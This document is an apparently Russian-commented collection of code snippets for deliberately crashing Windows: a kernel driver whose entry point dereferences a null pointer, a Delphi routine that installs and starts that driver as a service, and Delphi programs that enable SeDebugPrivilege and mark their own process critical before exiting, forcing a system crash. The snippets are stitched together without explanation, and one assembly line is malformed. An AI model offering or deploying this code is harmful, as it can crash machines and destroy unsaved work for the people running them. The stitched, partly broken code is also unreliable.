#include <ntddk.h>      
#include "driver.h"

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
         return;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
                          IN PUNICODE_STRING RegistryPath)
{
        __asm
        {
           xor eax, eax
           mov eax, [eax]
        }

         return STATUS_SUCCESS;
}

function InstallDriver: boolean;
const
       DrvName  = 'Driver';
       FullPath = 'c:\driver.sys';
var
       hSCM, hSRV: dword;
       sParam: PChar;
begin
       Result := false;
       hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
       if hSCM = INVALID_HANDLE_VALUE then Exit;
       // создание системной записи о драйвере
       hSRV := CreateService(hSCM, DrvName, DrvName,
                             SERVICE_ALL_ACCESS,
                             SERVICE_KERNEL_DRIVER,
                             SERVICE_DEMAND_START,
                             SERVICE_ERROR_NORMAL,
                             FullPath, nil, nil,
                             nil, nil, nil);

       if hSRV = INVALID_HANDLE_VALUE then Exit;
       //запускаем драйвер
       StartService(hSRV, 0, sParam);
       //очистка ресурсов
       CloseServiceHandle(hSRV);
       CloseServiceHandle(hSCM);
       Result := true;
end;

mov eax,10
div 0

program reboot;

{$APPTYPE CONSOLE}

uses
SysUtils,
Windows;

function RtlSetProcessIsCritical(unu:DWORD;proc:POinter;doi:DWORD):LongInt;stdcall; external 'ntdll.dll';
const
SE_DEBUG_NAME = 'SeDebugPrivilege';

function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
PrevTokenPriv: TOKEN_PRIVILEGES;
ReturnLength: Cardinal;
begin

Result := False;

if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
try
if LookupPrivilegeValue(nil, PChar(sPrivilege),
TokenPriv.Privileges[0].Luid) then
begin
TokenPriv.PrivilegeCount := 1;

case bEnabled of
True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
False: TokenPriv.Privileges[0].Attributes := 0;
end;

ReturnLength := 0;
PrevTokenPriv := TokenPriv;

AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),
PrevTokenPriv, ReturnLength);
end;
finally
CloseHandle(hToken);
end;
end;
end;

begin
NTSetPrivilege(SE_DEBUG_NAME,TRUE);
RtlSetProcessIsCritical(1,nil,0);
end.

var
   Form1: TForm1;
   function RtlSetProcessIsCritical(unu:DWORD;
                    proc:POinter;
                    doi:DWORD
                    ):LongInt;stdcall;
                    external 'ntdll.dll';
   function RtlAdjustPrivilege(Privilege: ULONG;
                    Enable: BOOL;
                    CurrentThread: BOOL;
                    out OldPrivilege: BOOL
                    ): DWORD; stdcall;
                    external 'ntdll';
procedure TForm1.Button1Click(Sender: TObject);
begin
asm
   lea eax, dword [esp+12]
   //invoke RtlAdjustPrivilege, 20, 1, 0, eax
   push eax
   push 0
   push 1
   push 20
   call RtlAdjustPrivilege
   //invoke RtlSetProcessIsCritical, 1, 0, 0
   push 0
   push 0
   push 1
   call RtlSetProcessIsCritical
   call ExitProcess
end;   
end;